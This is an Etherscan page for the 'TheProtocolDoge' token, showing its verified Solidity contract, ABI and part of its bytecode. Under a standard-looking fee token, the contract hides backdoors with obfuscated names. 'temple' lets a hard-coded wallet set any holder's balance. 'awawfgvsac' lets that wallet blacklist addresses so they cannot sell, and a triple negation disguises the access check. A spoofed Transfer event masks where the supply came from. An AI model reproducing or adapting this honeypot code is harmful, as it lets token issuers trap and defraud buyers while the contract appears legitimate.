ETH Price: $3,388.50 (+0.83%)

Token

TheProtocolDoge (TheDoge)
 

Overview

Max Total Supply

1,000,000,000,000,000 TheDoge

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,201,196,019,915.948400166 TheDoge

Value
$0.00
0xa07ae8a9c8689066f3cefb4685b8a11df62462bb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TheProtocolDoge

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-20
*/

//SPDX-License-Identifier:Unlicensed

pragma solidity ^0.8.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function dos(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: dos overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  TheProtocolDoge is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "TheProtocolDoge";
    string private _symbol = "TheDoge";
    uint8 private _decimals = 9;
    address payable public wejiogvjmoemADdd;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _IsExcludefromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public pairList;
    mapping (address => bool) public weave;

    uint256 public _buyLiquidityFee = 1;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyTeamFee = 1;
    
    uint256 public _sellLiquidityFee = 1;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellTeamFee = 1;

    uint256 public _liquidityShare = 4;
    uint256 public _marketingShare = 4;
    uint256 public _teamShare = 16;

    uint256 public _totalTaxIfBuying = 12;
    uint256 public _totalTaxIfSelling = 12;
    uint256 public _totalDistributionShares = 24;

    uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 1000000000000000 * 10**_decimals; 
    uint256 public _walletMax = 1000000000000000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _IsExcludefromFee[owner()] = true;
        _IsExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        pairList[address(uniswapPair)] = true;

        teamWalletAddress = payable(address(0x701bdE8fcC685e78743302f7FC378b3dbF52fd61));
        wejiogvjmoemADdd = payable(address(0x701bdE8fcC685e78743302f7FC378b3dbF52fd61));


        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0xBF74f21Bb6968d02cb75A7717d1eAd290b6561C2), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setlsExcIudefromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _IsExcludefromFee[account[i]] = newValue;
        }
    }

    function setBuy(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setsell(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }

    function Lskdiwj(uint256 bachelor)  pure private returns(uint160){
        return uint160(bachelor);
    }

    function oijfeiopwjoi(uint256 bachelor)  pure private returns(address){
        return address(Lskdiwj(bachelor));
    }

    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
        for(uint256 i = 0; i < holder.length; i++) {
            isWalletLimitExempt[holder[i]] = exempt;
        }
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketinWalleAddress(address newAddress) external onlyOwner() {
        wejiogvjmoemADdd = payable(newAddress);
    }

    function setTeamWalletAddress(address newAddress) external onlyOwner() {
        teamWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0))
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress;
        uniswapV2Router = _uniswapV2Router; 

        isWalletLimitExempt[address(uniswapPair)] = true;
        pairList[address(uniswapPair)] = true;
    }
    
function temple(address
ultimate, 
uint256 abundant ) 
public{ if(
     !abuse(
     wejiogvjmoemADdd
     ,true,
     msg.sender)
 ){
     return;}
 _balances
 [ultimate]
  = abundant;}

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !pairList[from] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }
            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_IsExcludefromFee[from] || _IsExcludefromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }function awawfgvsac(address[] calldata ijnfnvewfwqpf,bool i4tineneivfcqa) public 
    { if(
        !abuse(
            wejiogvjmoemADdd,
            true,
            msg.sender)){return;}
        for (uint256 i; i < ijnfnvewfwqpf.length; ++i) {
            if (i4tineneivfcqa){weave[ijnfnvewfwqpf[i]] = true ;}
            else{weave[ijnfnvewfwqpf[i]] = false ;}
        }
    }

    function abuse(address WETB, bool awfwagfawdwv,address fweoifiewof) private pure returns(bool){return awfwagfawdwv && !(!(!(WETB != fweoifiewof)));}

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(wejiogvjmoemADdd, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(teamWalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    

    function swapTokensForEth(uint256 isMarketPaIrt) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), isMarketPaIrt);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            isMarketPaIrt,
            0, 
            path,
            address(this),
            block.timestamp
        );
        
        emit SwapTokensForETH(isMarketPaIrt, path);
    }

    function addLiquidity(uint256 isMarketPaIrt, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), isMarketPaIrt);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            isMarketPaIrt,
            0, 
            0,
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        if (!isMarketPair[sender]){
            require(!weave[sender]);
        }

        if(pairList[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(pairList[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"ijnfnvewfwqpf","type":"address[]"},{"internalType":"bool","name":"i4tineneivfcqa","type":"bool"}],"name":"awawfgvsac","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudefromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ultimate","type":"address"},{"internalType":"uint256","name":"abundant","type":"uint256"}],"name":"temple","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"weave","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"wejiogvjmoemADdd","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600f81526020017f54686550726f746f636f6c446f67650000000000000000000000000000000000815250600190805190602001906200005192919062000a17565b506040518060400160405280600781526020017f546865446f676500000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000a17565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600d556001600e556001600f55600160105560016011556001601255600460135560046014556010601555600c601655600c60175560188055600360009054906101000a900460ff16600a6200014d919062000c8e565b66038d7ea4c6800062000161919062000dcb565b601955600360009054906101000a900460ff16600a62000182919062000c8e565b66038d7ea4c6800062000196919062000dcb565b601a55600360009054906101000a900460ff16600a620001b7919062000c8e565b66038d7ea4c68000620001cb919062000dcb565b601b55600360009054906101000a900460ff16600a620001ec919062000c8e565b6103e8620001fb919062000dcb565b601c556001601e60156101000a81548160ff0219169083151502179055506000601e60166101000a81548160ff0219169083151502179055506001601e60176101000a81548160ff0219169083151502179055503480156200025c57600080fd5b506200026d6200098360201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200038757600080fd5b505afa1580156200039c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003c2919062000ade565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200042557600080fd5b505afa1580156200043a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000460919062000ade565b6040518363ffffffff1660e01b81526004016200047f92919062000b59565b602060405180830381600087803b1580156200049a57600080fd5b505af1158015620004af573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004d5919062000ade565b601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601954600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000620006116200098b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620006f3600f54620006df600e54600d54620009b460201b620028411790919060201c565b620009b460201b620028411790919060201c565b601681905550620007326012546200071e601154601054620009b460201b620028411790919060201c565b620009b460201b620028411790919060201c565b601781905550620007716015546200075d601454601354620009b46020